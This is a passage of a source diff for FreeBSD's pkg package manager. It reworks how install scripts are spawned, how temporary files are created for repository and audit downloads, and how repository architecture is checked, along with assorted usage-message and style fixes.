 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

+
#include <sys/wait.h>
+

#include <assert.h>
+
#include <errno.h>
+
#include <paths.h>
+
#include <spawn.h>
+
#include <stdlib.h>
+
#include <limits.h>
+
#include <string.h>

#include "pkg.h"
#include "private/pkg.h"
+
#include "private/event.h"
+

+
extern char **environ;

int
-
pkg_script_run(struct pkg * const pkg, pkg_script_t type)
+
pkg_script_run(struct pkg * const pkg, pkg_script type)
{
-
	struct pkg_script *script = NULL;
-
	pkg_script_t stype;
	struct sbuf * const script_cmd = sbuf_new_auto();
-
	size_t i;
-
	const char *name, *prefix, *version;
+
	size_t i, j;
+
	int error, pstat;
+
	pid_t pid;
+
	const char *name, *prefix, *version, *script_cmd_p;
+
	const char *argv[4];
+
	char **ep;
+
	int ret = EPKG_OK;
+
	int stdin_pipe[2] = {-1, -1};
+
	posix_spawn_file_actions_t action;
+
	bool use_pipe = 0;
+
	ssize_t bytes_written;
+
	size_t script_cmd_len;
+
	long argmax;

	struct {
		const char * const arg;
-
		const pkg_script_t b;
-
		const pkg_script_t a;
+
		const pkg_script b;
+
		const pkg_script a;
	} const map[] = {
		/* a implies b with argument arg */
		{"PRE-INSTALL",    PKG_SCRIPT_INSTALL,   PKG_SCRIPT_PRE_INSTALL},
@@ -64,30 +84,110 @@ pkg_script_run(struct pkg * const pkg, pkg_script_t type)
	assert(i < sizeof(map) / sizeof(map[0]));
	assert(map[i].a == type);

-
	while (pkg_scripts(pkg, &script) == EPKG_OK) {
-

-
		stype = pkg_script_type(script);
-

-
		if (stype == map[i].a || stype == map[i].b) {
+
	for (j = 0; j < PKG_NUM_SCRIPTS; j++) {
+
		if (pkg_script_get(pkg, j) == NULL)
+
			continue;
+
		if (j == map[i].a || j == map[i].b) {
			sbuf_reset(script_cmd);
-
			sbuf_printf(script_cmd, "PKG_PREFIX=%s\nset -- %s-%s",
-
			    prefix, name, version);
+
			setenv("PKG_PREFIX", prefix, 1);
+
			sbuf_printf(script_cmd, "set -- %s-%s",
+
			    name, version);

-
			if (stype == map[i].b) {
+
			if (j == map[i].b) {
				/* add arg **/
				sbuf_cat(script_cmd, " ");
				sbuf_cat(script_cmd, map[i].arg);
			}

			sbuf_cat(script_cmd, "\n");
-
			sbuf_cat(script_cmd, pkg_script_data(script));
+
			sbuf_cat(script_cmd, pkg_script_get(pkg, j));
			sbuf_finish(script_cmd);
-
			system(sbuf_get(script_cmd));
+

+
			/* Determine the maximum argument length for the given
+
			   script to determine if /bin/sh -c can be used, or
+
			   if a pipe is required to /bin/sh -s. Similar to
+
			   find(1) determination */
+
			if ((argmax = sysconf(_SC_ARG_MAX)) == -1)
+
				argmax = _POSIX_ARG_MAX;
+
			argmax -= 1024;
+
			for (ep = environ; *ep != NULL; ep++)
+
				argmax -= strlen(*ep) + 1 + sizeof(*ep);
+
			argmax -= 1 + sizeof(*ep);
+

+
			if (sbuf_len(script_cmd) > argmax) {
+
				if (pipe(stdin_pipe) < 0) {
+
					ret = EPKG_FATAL;
+
					goto cleanup;
+
				}
+

+
				posix_spawn_file_actions_init(&action);
+
				posix_spawn_file_actions_adddup2(&action, stdin_pipe[0],
+
				    STDIN_FILENO);
+
				posix_spawn_file_actions_addclose(&action, stdin_pipe[1]);
+

+
				argv[0] = "sh";
+
				argv[1] = "-s";
+
				argv[2] = NULL;
+

+
				use_pipe = 1;
+
			} else {
+
				argv[0] = "sh";
+
				argv[1] = "-c";
+
				argv[2] = sbuf_get(script_cmd);
+
				argv[3] = NULL;
+

+
				use_pipe = 0;
+
			}
+

+
			if ((error = posix_spawn(&pid, _PATH_BSHELL,
+
			    use_pipe ? &action : NULL,
+
			    NULL, __DECONST(char **, argv),
+
			    environ)) != 0) {
+
				errno = error;
+
				pkg_emit_errno("Cannot run script",
+
				    map[i].arg);
+
				goto cleanup;
+
			}
+

+
			if (use_pipe) {
+
				script_cmd_p = sbuf_get(script_cmd);
+
				script_cmd_len = sbuf_len(script_cmd);
+
				while (script_cmd_len > 0) {
+
					if ((bytes_written = write(stdin_pipe[1], script_cmd_p,
+
					    script_cmd_len)) == -1) {
+
						if (errno == EINTR)
+
							continue;
+
						ret = EPKG_FATAL;
+
						goto cleanup;
+
					}
+
					script_cmd_p += bytes_written;
+
					script_cmd_len -= bytes_written;
+
				}
+
				close(stdin_pipe[1]);
+
			}
+

+
			unsetenv("PKG_PREFIX");
+

+
			while (waitpid(pid, &pstat, 0) == -1) {
+
				if (errno != EINTR)
+
					goto cleanup;
+
			}
+

+
			if (WEXITSTATUS(pstat) != 0) {
+
				pkg_emit_error("%s script failed", map[i].arg);
+
				goto cleanup;
+
			}
		}
	}

+
cleanup:
+

	sbuf_delete(script_cmd);
+
	if (stdin_pipe[0] != -1)
+
		close(stdin_pipe[0]);
+
	if (stdin_pipe[1] != -1)
+
		close(stdin_pipe[1]);

-
	return (EPKG_OK);
+
	return (ret);
}

modified libpkg/update.c
@@ -38,8 +38,9 @@
#include "pkg.h"
#include "private/event.h"
#include "private/utils.h"
+
#include "private/pkgdb.h"

-
#define EXTRACT_ARCHIVE_FLAGS  (ARCHIVE_EXTRACT_OWNER |ARCHIVE_EXTRACT_PERM)
+
//#define EXTRACT_ARCHIVE_FLAGS  (ARCHIVE_EXTRACT_OWNER |ARCHIVE_EXTRACT_PERM)

/* Add indexes to the repo */
static int
@@ -64,27 +65,39 @@ remote_add_indexes(const char *reponame)
}

int
-
pkg_update(const char *name, const char *packagesite)
+
pkg_update(const char *name, const char *packagesite, bool force)
{
	char url[MAXPATHLEN];
	struct archive *a = NULL;
	struct archive_entry *ae = NULL;
	char repofile[MAXPATHLEN];
	char repofile_unchecked[MAXPATHLEN];
-
	char tmp[21];
+
	char tmp[MAXPATHLEN];
	const char *dbdir = NULL;
	const char *repokey;
	unsigned char *sig = NULL;
	int siglen = 0;
-
	int rc = EPKG_FATAL;
+
	int fd, rc = EPKG_FATAL, ret;
	struct stat st;
	time_t t = 0;
+
	sqlite3 *sqlite;
+
	char *archreq = NULL;
+
	const char *myarch;
+
	int64_t res;
+
	const char *tmpdir;

	snprintf(url, MAXPATHLEN, "%s/repo.txz", packagesite);

-
	(void)strlcpy(tmp, "/tmp/repo.txz.XXXXXX", sizeof(tmp));
-
	if (mktemp(tmp) == NULL) {
-
		pkg_emit_error("Could not create temporary file %s, aborting update.\n", tmp);
+
	tmpdir = getenv("TMPDIR");
+
	if (tmpdir == NULL)
+
		tmpdir = "/tmp";
+
	strlcpy(tmp, tmpdir, sizeof(tmp));
+
	strlcat(tmp, "/repo.txz.XXXXXX", sizeof(tmp));
+

+
	fd = mkstemp(tmp);
+
	if (fd == -1) {
+
		pkg_emit_error("Could not create temporary file %s, "
+
		    "aborting update.\n", tmp);
		return (EPKG_FATAL);
	}

@@ -94,20 +107,23 @@ pkg_update(const char *name, const char *packagesite)
	}

	snprintf(repofile, sizeof(repofile), "%s/%s.sqlite", dbdir, name);
-
	if (stat(repofile, &st) != -1) {
-
		t = st.st_mtime;
-
		/* add 10 minutes to the timestap because repo.sqlite is
-
		 * always newer than repo.txz, 10 minutes should be enough
-
		 */
-
		t += 600;
+
	if (force)
+
		t = 0;		/* Always fetch */
+
	else {
+
		if (stat(repofile, &st) != -1) {
+
			t = st.st_mtime;
+
			/* add 1 minute to the timestamp because
+
			 * repo.sqlite is always newer than repo.txz,
+
			 * 1 minute should be enough.
+
			 */
+
			t += 60;
+
		}
	}

-
	if ((rc = pkg_fetch_file(url, tmp, t)) != EPKG_OK) {
-
		/*
-
		 * No need to unlink(tmp) here as it is already
-
		 * done in pkg_fetch_file() in case fetch failed.
-
		 */
-
		return (rc);
+
	rc = pkg_fetch_file_to_fd(url, fd, t);
+
	close(fd);
+
	if (rc != EPKG_OK) {
+
		goto cleanup;
	}

	a = archive_read_new();
@@ -118,7 +134,8 @@ pkg_update(const char *name, const char *packagesite)

	while (archive_read_next_header(a, &ae) == ARCHIVE_OK) {
		if (strcmp(archive_entry_pathname(ae), "repo.sqlite") == 0) {
-
			snprintf(repofile_unchecked, sizeof(repofile_unchecked), "%s.unchecked", repofile);
+
			snprintf(repofile_unchecked, sizeof(repofile_unchecked),
+
			    "%s.unchecked", repofile);
			archive_entry_set_pathname(ae, repofile_unchecked);

			/*
@@ -137,29 +154,73 @@ pkg_update(const char *name, const char *packagesite)
		}
	}

-
	if (pkg_config_string(PKG_CONFIG_REPOKEY, &repokey) != EPKG_OK)
+
	if (pkg_config_string(PKG_CONFIG_REPOKEY, &repokey) != EPKG_OK) {
+
		if (sig != NULL)
+
			free(sig);
+
		
		return (EPKG_FATAL);
+
	}

	if (repokey != NULL) {
		if (sig != NULL) {
-
			if (rsa_verify(repofile_unchecked, repokey, sig, siglen - 1) != EPKG_OK) {
-
				pkg_emit_error("Invalid signature, removing repository.\n");
+
			ret = rsa_verify(repofile_unchecked, repokey,
+
			    sig, siglen - 1);
+
			if (ret != EPKG_OK) {
+
				pkg_emit_error("Invalid signature, "
+
				    "removing repository.\n");
				unlink(repofile_unchecked);
				free(sig);
				rc = EPKG_FATAL;
				goto cleanup;
			}
+
			free(sig);
		} else {
-
			pkg_emit_error("No signature found in the repository."
-
						   "Can not validate against %s key.", repokey);
+
			pkg_emit_error("No signature found in the repository.  "
+
			    "Can not validate against %s key.", repokey);
			rc = EPKG_FATAL;
			unlink(repofile_unchecked);
			goto cleanup;
		}
	}

+
	/* check is the repository is for valid architecture */
+
	sqlite3_initialize();
+

+
	if (sqlite3_open(repofile_unchecked, &sqlite) != SQLITE_OK) {
+
		unlink(repofile_unchecked);
+
		pkg_emit_error("Corrupted repository");
+
		rc = EPKG_FATAL;
+
		goto cleanup;
+
	}
+

+
	pkg_config_string(PKG_CONFIG_ABI, &myarch);
+

+
	archreq = sqlite3_mprintf("select count(arch) from packages "
+
	    "where arch not GLOB '%q'", myarch);
+
	if (get_pragma(sqlite, archreq, &res) != EPKG_OK) {
+
		sqlite3_free(archreq);
+
		pkg_emit_error("Unable to query repository");
+
		rc = EPKG_FATAL;
+
		sqlite3_close(sqlite);
+
		goto cleanup;
+
	}
+

+
	if (res > 0) {
+
		pkg_emit_error("At least one of the packages provided by"
+
		    "the repository is not compatible with your abi: %s",
+
		    myarch);
+
		rc = EPKG_FATAL;
+
		sqlite3_close(sqlite);
+
		goto cleanup;
+
	}
+

+
	sqlite3_close(sqlite);
+
	sqlite3_shutdown();
+

+

	if (rename(repofile_unchecked, repofile) != 0) {
		pkg_emit_errno("rename", "");
+
		rc = EPKG_FATAL;
		goto cleanup;
	}

modified libpkg/usergroup.c
@@ -32,7 +32,7 @@
#include <libutil.h>
#include <string.h>

-
#if __FreeBSD_version < 1000003
+
#ifndef HAVE_GRUTILS
#include "private/gr_util.h"
#endif
#include "pkg.h"
@@ -147,7 +147,8 @@ pkg_add_user_group(struct pkg *pkg)
			pw_fini();
		}
		pw_fini();
-
		if (strcmp(pw->pw_dir, "/nonexistent") && strcmp(pw->pw_dir, "/var/empty")) {
+
		if (strcmp(pw->pw_dir, "/nonexistent") &&
+
		    strcmp(pw->pw_dir, "/var/empty")) {
			/* now create the homedir if it doesn't exists */
			/* TODO: do it recursively */
			mkdir(pw->pw_dir, 0644);
@@ -176,30 +177,37 @@ pkg_add_user_group(struct pkg *pkg)
		for (i = 0; gr->gr_mem[i] != NULL; i++) {

			while (pkg_users(pkg, &u) == EPKG_OK) {
-
				if (!strcmp(pkg_user_name(u), gr->gr_mem[i])) {
-
					/* check if the user is not already in the local group */
-
					for (j = 0; grlocal->gr_mem[j] != NULL; j++) {
-
						if (!strcmp(grlocal->gr_mem[j], gr->gr_mem[i]))
-
							break;
-
					}
-

-
					if (grlocal->gr_mem[j] != NULL)
-
						continue; /* already in the group */
-

-
					/* adding the user to the group */
-

-
					if (grnew == NULL) {
-
						nx = j - 1;
-
						grnew = gr_dup(grlocal);
-
					}
-

-
					if (nx == 0)
-
						grnew->gr_mem = NULL;
-
					nx++;
-
					grnew->gr_mem = reallocf(grnew->gr_mem, sizeof(*grnew->gr_mem) * (nx + 1));
-
					grnew->gr_mem[nx - 1] = __DECONST(char *, pkg_user_name(u));
-
					grnew->gr_mem[nx] = NULL;
+
				if (strcmp(pkg_user_name(u), gr->gr_mem[i]))
+
					continue;
+

+
				/*
+
				 * check if the user is not already in the
+
				 * local group
+
				 */
+
				for (j = 0; grlocal->gr_mem[j] != NULL; j++) {
+
					if (!strcmp(grlocal->gr_mem[j],
+
					    gr->gr_mem[i]))
+
						break;
				}
+

+
				if (grlocal->gr_mem[j] != NULL)
+
					continue; /* already in the group */
+

+
				/* adding the user to the group */
+

+
				if (grnew == NULL) {
+
					nx = j - 1;
+
					grnew = gr_dup(grlocal);
+
				}
+

+
				if (nx == 0)
+
					grnew->gr_mem = NULL;
+
				nx++;
+
				grnew->gr_mem = reallocf(grnew->gr_mem,
+
				    sizeof(*grnew->gr_mem) * (nx + 1));
+
				grnew->gr_mem[nx - 1] =
+
				    __DECONST(char *, pkg_user_name(u));
+
				grnew->gr_mem[nx] = NULL;
			}
		}
		if (grnew == NULL) {
modified libpkg/utils.c
@@ -175,80 +175,88 @@ file_to_buffer(const char *path, char **buffer, off_t *sz)
}

int
-
format_exec_cmd(char **dest, const char *in, const char *prefix, const char *plist_file, char *line)
+
format_exec_cmd(char **dest, const char *in, const char *prefix,
+
    const char *plist_file, char *line)
{
	struct sbuf *buf = sbuf_new_auto();
	char path[MAXPATHLEN + 1];
	char *cp;

	while (in[0] != '\0') {
-
		if (in[0] == '%') {
+
		if (in[0] != '%') {
+
			sbuf_putc(buf, in[0]);
			in++;
-
			switch(in[0]) {
-
				case 'D':
-
					sbuf_cat(buf, prefix);
-
					break;
-
				case 'F':
-
					if (plist_file == NULL) {
-
						pkg_emit_error("No files defined %%F couldn't be expanded, ignoring %s", in);
-
						sbuf_finish(buf);
-
						sbuf_free(buf);
-
						return (EPKG_FATAL);
-
					}
-
					sbuf_cat(buf, plist_file);
-
					break;
-
				case 'f':
-
					if (plist_file == NULL) {
-
						pkg_emit_error("No files defined %%f couldn't be expanded, ignoring %s", in);
-
						sbuf_finish(buf);
-
						sbuf_free(buf);
-
						return (EPKG_FATAL);
-
					}
-
					if (prefix[strlen(prefix) - 1] == '/')
-
						snprintf(path, sizeof(path), "%s%s", prefix, plist_file);
-
					else
-
						snprintf(path, sizeof(path), "%s/%s", prefix, plist_file);
-
					cp = strrchr(path, '/');
-
					cp ++;
-
					sbuf_cat(buf, cp);
-
					break;
-
				case 'B':
-
					if (plist_file == NULL) {
-
						pkg_emit_error("No files defined %%B couldn't be expanded, ignoring %s", in);
-
						sbuf_finish(buf);
-
						sbuf_free(buf);
-
						return (EPKG_FATAL);
-
					}
-
					if (prefix[strlen(prefix) - 1] == '/')
-
						snprintf(path, sizeof(path), "%s%s", prefix, plist_file);
-
					else
-
						snprintf(path, sizeof(path), "%s/%s", prefix, plist_file);
-
					cp = strrchr(path, '/');
-
					cp[0] = '\0';
-
					sbuf_cat(buf, path);
-
					break;
-
				case '%':
-
					sbuf_putc(buf, '%');
-
					break;
-
				case '@':
-
					if (line != NULL) {
-
						sbuf_cat(buf, line);
-
						break;
-
					}
-

-
					/*
-
					 * no break here because if line is not
-
					 * given (default exec) %@ does not
-
					 * exists
-
					 */
-
				default:
-
					sbuf_putc(buf, '%');
-
					sbuf_putc(buf, in[0]);
-
					break;
+
			continue;
+
		}
+
		in++;
+
		switch(in[0]) {
+
		case 'D':
+
			sbuf_cat(buf, prefix);
+
			break;
+
		case 'F':
+
			if (plist_file == NULL) {
+
				pkg_emit_error("No files defined %%F couldn't "
+
				    "be expanded, ignoring %s", in);
+
				sbuf_finish(buf);
+
				sbuf_free(buf);
+
				return (EPKG_FATAL);
+
			}
+
			sbuf_cat(buf, plist_file);
+
			break;
+
		case 'f':
+
			if (plist_file == NULL) {
+
				pkg_emit_error("No files defined %%f couldn't "
+
				    "be expanded, ignoring %s", in);
+
				sbuf_finish(buf);
+
				sbuf_free(buf);
+
				return (EPKG_FATAL);
+
			}
+
			if (prefix[strlen(prefix) - 1] == '/')
+
				snprintf(path, sizeof(path), "%s%s",
+
				    prefix, plist_file);
+
			else
+
				snprintf(path, sizeof(path), "%s/%s",
+
				    prefix, plist_file);
+
			cp = strrchr(path, '/');
+
			cp ++;
+
			sbuf_cat(buf, cp);
+
			break;
+
		case 'B':
+
			if (plist_file == NULL) {
+
				pkg_emit_error("No files defined %%B couldn't "
+
				    "be expanded, ignoring %s", in);
+
				sbuf_finish(buf);
+
				sbuf_free(buf);
+
				return (EPKG_FATAL);
+
			}
+
			if (prefix[strlen(prefix) - 1] == '/')
+
				snprintf(path, sizeof(path), "%s%s", prefix,
+
				    plist_file);
+
			else
+
				snprintf(path, sizeof(path), "%s/%s", prefix,
+
				    plist_file);
+
			cp = strrchr(path, '/');
+
			cp[0] = '\0';
+
			sbuf_cat(buf, path);
+
			break;
+
		case '%':
+
			sbuf_putc(buf, '%');
+
			break;
+
		case '@':
+
			if (line != NULL) {
+
				sbuf_cat(buf, line);
+
				break;
			}

-
		} else {
+
			/*
+
			 * no break here because if line is not
+
			 * given (default exec) %@ does not
+
			 * exists
+
			 */
+
		default:
+
			sbuf_putc(buf, '%');
			sbuf_putc(buf, in[0]);
+
			break;
		}

		in++;
@@ -287,7 +295,8 @@ is_dir(const char *path)
}

static void
-
sha256_hash(unsigned char hash[SHA256_DIGEST_LENGTH], char out[SHA256_DIGEST_LENGTH * 2 + 1])
+
sha256_hash(unsigned char hash[SHA256_DIGEST_LENGTH],
+
    char out[SHA256_DIGEST_LENGTH * 2 + 1])
{
	int i;
	for (i = 0; i < SHA256_DIGEST_LENGTH; i++)
modified pkg-static/Makefile
@@ -10,6 +10,7 @@ LDADD_STATIC= -L${.OBJDIR}/../external/sqlite \
		-larchive \
		-lsbuf \
		-lfetch \
+
		-lpthread \
		-lelf \
		-lssl \
		-lcrypto \
modified pkg/Makefile
@@ -11,6 +11,7 @@ SRCS= add.c \
		info.c \
		install.c \
		main.c \
+
		plugins.c \
		progressmeter.c \
		query.c \
		register.c \
@@ -26,14 +27,15 @@ SRCS= add.c \
		version.c \
		which.c \
		fetch.c \
-
		shell.c
+
		shell.c \
+
		stats.c

PREFIX?=	/usr/local
BINDIR=		${PREFIX}/sbin
MANDIR=		${PREFIX}/man/man

-
.if exists(../.git) && exists(/usr/local/bin/git)
-
GITHASH!=	git rev-parse HEAD
+
.if exists(${.CURDIR}/../.git) && exists(/usr/local/bin/git)
+
GITHASH!=	cd ${.CURDIR} && git rev-parse HEAD
CFLAGS+=	-DGITHASH="\" ${GITHASH}\""
.endif

@@ -47,6 +49,7 @@ LDADD+= -L${.OBJDIR}/../libpkg \
		-lpkg \
		-lutil \
		-ljail \
+
		-lpthread \
		${LDADD_STATIC}

WARNS?=		6
@@ -70,6 +73,7 @@ MAN= pkg.8 \
	pkg-set.8 \
	pkg-shell.8 \
	pkg-shlib.8 \
+
	pkg-stats.8 \
	pkg-update.8 \
	pkg-updating.8 \
	pkg-upgrade.8 \
@@ -77,6 +81,13 @@ MAN= pkg.8 \
	pkg-which.8 \
	pkg.conf.5

-
MLINKS=	pkg-delete.8 pkg-remove.8
+
MLINKS=	pkg-delete.8 pkg-remove.8 \
+
	pkg.8 pkg-static.8
+

+
.PHONY: fix-xrefs
+

+
fix-xrefs:
+
	@./fix-xrefs ${MAN}
+


.include <bsd.prog.mk>
modified pkg/add.c
@@ -44,7 +44,8 @@ is_url(const char * const pattern)
{
	if (strncmp(pattern, "http://", 7) == 0 ||
		strncmp(pattern, "https://", 8) == 0 ||
-
		strncmp(pattern, "ftp://", 6) == 0)
+
		strncmp(pattern, "ftp://", 6) == 0 ||
+
		strncmp(pattern, "file://", 7) == 0)
		return (EPKG_OK);

	return (EPKG_FATAL);
@@ -54,7 +55,7 @@ void
usage_add(void)
{
	fprintf(stderr, "usage: pkg add <pkg-name>\n");
-
	fprintf(stderr, "       pkg add <url>://<pkg-name>\n\n");
+
	fprintf(stderr, "       pkg add <protocol>://<path>/<pkg-name>\n\n");
	fprintf(stderr, "For more information see 'pkg help add'.\n");
}

@@ -76,7 +77,7 @@ exec_add(int argc, char **argv)
	}

	if (geteuid() != 0) {
-
		warnx("adding packages can only be done as root");
+
		warnx("Adding packages can only be done as root");
		return (EX_NOPERM);
	}

@@ -97,7 +98,7 @@ exec_add(int argc, char **argv)
			if (access(file, F_OK) != 0) {
				warn("%s",file);
				if (errno == ENOENT)
-
					warnx("Did you mean pkg install %s?", file);
+
					warnx("Did you mean 'pkg install %s'?", file);
				sbuf_cat(failedpkgs, argv[i]);
				if (i != argc - 1)
					sbuf_printf(failedpkgs, ", ");
@@ -107,7 +108,7 @@ exec_add(int argc, char **argv)

		}
			
-
		pkg_open(&p, file, NULL);
+
		pkg_open(&p, file);

		if ((retcode = pkg_add(db, file, 0)) != EPKG_OK) {
			sbuf_cat(failedpkgs, argv[i]);
@@ -122,7 +123,7 @@ exec_add(int argc, char **argv)
	
	if(failedpkgcount > 0) {
		sbuf_finish(failedpkgs);
-
		printf("\nFailed to install the following %d package(s): %s.\n", failedpkgcount, sbuf_data(failedpkgs));
+
		printf("\nFailed to install the following %d package(s): %s\n", failedpkgcount, sbuf_data(failedpkgs));
	}
	sbuf_delete(failedpkgs);

modified pkg/audit.c
@@ -44,8 +44,6 @@
#include <pkg.h>
#include "pkgcli.h"

-
#define AUDIT_URL "http://portaudit.FreeBSD.org/auditfile.tbz"
-

#define EQ 1
#define LT 2
#define LTE 3
@@ -70,7 +68,8 @@ SLIST_HEAD(audit_head, audit_entry);
void
usage_audit(void)
{
-
	fprintf(stderr, "usage: pkg audit [-F] <pattern>\n");
+
	fprintf(stderr, "usage: pkg audit [-F] <pattern>\n\n");
+
	fprintf(stderr, "For more information see 'pkg help add'.\n");
}

static int
@@ -79,25 +78,32 @@ fetch_and_extract(const char *src, const char *dest)
	struct archive *a = NULL;
	struct archive_entry *ae = NULL;
	int fd = -1;
-
	const char *tmp = "/tmp/auditfile.tbz";
+
	char tmp[MAXPATHLEN];
+
	const char *tmpdir;
	int retcode = EPKG_FATAL;
	int ret;
	time_t t = 0;
	struct stat st;

+
	tmpdir = getenv("TMPDIR");
+
	if (tmpdir == NULL)
+
		tmpdir = "/tmp";
+
	strlcpy(tmp, tmpdir, sizeof(tmp));
+
	strlcat(tmp, "/auditfile.tbz", sizeof(tmp));
+

	if (stat(dest, &st) != -1) {
		t = st.st_mtime;
	}
	switch (pkg_fetch_file(src, tmp, t)) {
-
		case EPKG_OK:
-
			break;
-
		case EPKG_UPTODATE:
-
			printf("audit file up-to-date\n");
-
			retcode = EPKG_OK;
-
			goto cleanup;
-
		default:
-
			warnx("Can't fetch audit file");
-
			goto cleanup;
+
	case EPKG_OK:
+
		break;
+
	case EPKG_UPTODATE:
+
		printf("Audit file up-to-date.\n");
+
		retcode = EPKG_OK;
+
		goto cleanup;
+
	default:
+
		warnx("Cannot fetch audit file!");
+
		goto cleanup;
	}

	a = archive_read_new();
@@ -216,17 +222,17 @@ parse_db(const char *path, struct audit_head *h)
		while ((column = strsep(&line, "|")) != NULL)
		{
			switch (column_id) {
-
				case 0:
-
					parse_pattern(e, column, linelen);
-
					break;
-
				case 1:
-
					e->url = strdup(column);
-
					break;
-
				case 2:
-
					e->desc = strdup(column);
-
					break;
-
				default:
-
					warn("extra column in audit file");
+
			case 0:
+
				parse_pattern(e, column, linelen);
+
				break;
+
			case 1:
+
				e->url = strdup(column);
+
				break;
+
			case 2:
+
				e->desc = strdup(column);
+
				break;
+
			default:
+
				warn("extra column in audit file");
			}
			column_id++;
		}
@@ -244,23 +250,23 @@ match_version(const char *pkgversion, struct version_entry *v)
	/*
	 * Return true so it is easier for the caller to handle case where there is
	 * only one version to match: the missing one will always match.
-
	 */ 
+
	 */
	if (v->version == NULL)
		return true;

	switch (pkg_version_cmp(pkgversion, v->version)) {
-
		case -1:
-
			if (v->type == LT || v->type == LTE)
-
				res = true;
-
			break;
-
		case 0:
-
			if (v->type == EQ || v->type == LTE || v->type == GTE)
-
				res = true;
-
			break;
-
		case 1:
-
			if (v->type == GT || v->type == GTE)
-
				res = true;
-
			break;
+
	case -1:
+
		if (v->type == LT || v->type == LTE)
+
			res = true;
+
		break;
+
	case 0:
+
		if (v->type == EQ || v->type == LTE || v->type == GTE)
+
			res = true;
+
		break;
+
	case 1:
+
		if (v->type == GT || v->type == GTE)
+
			res = true;
+
		break;
	}
	return res;
}
@@ -286,7 +292,7 @@ is_vulnerable(struct audit_head *h, struct pkg *pkg)
		res2 = match_version(pkgversion, &e->v2);
		if (res1 && res2) {
			res = true;
-
			printf("%s-%s is vulnerable\n", pkgname, pkgversion);
+
			printf("%s-%s is vulnerable:\n", pkgname, pkgversion);
			printf("%s\n", e->desc);
			printf("WWW: %s\n\n", e->url);
		}
@@ -325,6 +331,7 @@ exec_audit(int argc, char **argv)
	bool fetch = false;
	int ch;
	int ret = EX_OK;
+
	const char *portaudit_site = NULL;

	if (pkg_config_string(PKG_CONFIG_DBDIR, &db_dir) != EPKG_OK) {
		warnx("PKG_DBIR is missing");
@@ -332,21 +339,27 @@ exec_audit(int argc, char **argv)
	}
	snprintf(audit_file, sizeof(audit_file), "%s/auditfile", db_dir);

-
	while ((ch = getopt(argc, argv, "F")) != -1) {
+
	while ((ch = getopt(argc, argv, "qF")) != -1) {
		switch (ch) {
-
			case 'F':
-
				fetch = true;
-
				break;
-
			default:
-
				usage_audit();
-
				return(EX_USAGE);
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'F':
+
			fetch = true;
+
			break;
+
		default:
+
			usage_audit();
+
			return(EX_USAGE);
		}
	}
	argc -= optind;
	argv += optind;

	if (fetch == true) {
-
		if (fetch_and_extract(AUDIT_URL, audit_file) != EPKG_OK) {
+
		if (pkg_config_string(PKG_CONFIG_PORTAUDIT_SITE, &portaudit_site) != EPKG_OK) {
+
			return (EPKG_FATAL);
+
		}
+
		if (fetch_and_extract(portaudit_site, audit_file) != EPKG_OK) {
			return (EX_IOERR);
		}
	}
@@ -369,7 +382,7 @@ exec_audit(int argc, char **argv)
		    PKG_VERSION, version);
		if (parse_db(audit_file, &h) != EPKG_OK) {
			if (errno == ENOENT)
-
				warnx("unable to open audit file, try running pkg audit -F first");
+
				warnx("unable to open audit file, try running 'pkg audit -F' first");
			else
				warn("unable to open audit file %s", audit_file);
			ret = EX_DATAERR;
@@ -391,14 +404,14 @@ exec_audit(int argc, char **argv)

	if ((it = pkgdb_query(db, NULL, MATCH_ALL)) == NULL)
	{
-
		warnx("Can not query local database");
+
		warnx("cannot query local database");
		ret = EX_IOERR;
		goto cleanup;
	}

	if (parse_db(audit_file, &h) != EPKG_OK) {
		if (errno == ENOENT)
-
			warnx("unable to open audit file, try running pkg audit -F first");
+
			warnx("unable to open audit file, try running 'pkg audit -F' first");
		else
			warn("unable to open audit file %s", audit_file);
		ret = EX_DATAERR;
@@ -411,6 +424,9 @@ exec_audit(int argc, char **argv)
		}
	}

+
	if (ret == EPKG_END && vuln == 0)
+
		ret = EX_OK;
+

	printf("%u problem(s) in your installed packages found.\n", vuln);

cleanup:
modified pkg/autoremove.c
@@ -38,7 +38,7 @@
void
usage_autoremove(void)
{
-
	fprintf(stderr, "usage pkg autoremove [-yq]\n\n");
+
	fprintf(stderr, "usage: pkg autoremove [-yq]\n\n");
	fprintf(stderr, "For more information see 'pkg help autoremove'.\n");
}

@@ -58,14 +58,14 @@ exec_autoremove(int argc, char **argv)

	while ((ch = getopt(argc, argv, "yq")) != -1) {
		switch (ch) {
-
			case 'q':
-
				quiet = true;
-
				break;
-
			case 'y':
-
				yes = true;
-
				break;
-
			default:
-
				break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'y':
+
			yes = true;
+
			break;
+
		default:
+
			break;
		}
        }
	argc -= optind;
@@ -86,9 +86,11 @@ exec_autoremove(int argc, char **argv)
		return (EX_IOERR);
	}

-
	if (pkg_jobs_new(&jobs, PKG_JOBS_DEINSTALL, db) != EPKG_OK) {
+
	/* Always force packages to be removed */
+
	if (pkg_jobs_new(&jobs, PKG_JOBS_DEINSTALL, db, true, false)
+
	    != EPKG_OK) {
		pkgdb_close(db);
-
		return (EPKG_FATAL);
+
		return (EX_IOERR);
	}

	if ((it = pkgdb_query_autoremove(db)) == NULL) {
@@ -112,7 +114,7 @@ exec_autoremove(int argc, char **argv)
	}

	if (pkg_jobs_is_empty(jobs)) {
-
		printf("Nothing to do\n");
+
		printf("Nothing to do.\n");
		retcode = 0;
		goto cleanup;
	}
@@ -127,22 +129,22 @@ exec_autoremove(int argc, char **argv)
		}

		if (oldsize > newsize)
-
			printf("\nThe autoremove will free %s\n", size);
+
			printf("\nThe autoremoval will free %s\n", size);
		else
-
			printf("\nThe autoremove will require %s more space\n", size);
+
			printf("\nThe autoremoval will require %s more space\n", size);

		if (!yes)
			pkg_config_bool(PKG_CONFIG_ASSUME_ALWAYS_YES, &yes);
		if (!yes)
-
			yes = query_yesno("\nProceed with autoremove of packages [y/N]: ");
+
			yes = query_yesno("\nProceed with autoremoval of packages [y/N]: ");
	}

	if (yes) {
-
		if ((retcode = pkg_jobs_apply(jobs, 1)) != EPKG_OK)
+
		if ((retcode = pkg_jobs_apply(jobs)) != EPKG_OK)
			goto cleanup;
	}

-
	if (pkgdb_compact(db) != EPKG_OK) { 
+
	if (pkgdb_compact(db) != EPKG_OK) {
		retcode = EPKG_FATAL;
	}

@@ -152,5 +154,5 @@ exec_autoremove(int argc, char **argv)
	pkgdb_it_free(it);
	pkgdb_close(db);

-
	return (retcode);
+
	return ((retcode == EPKG_OK) ? EX_OK : EX_SOFTWARE);
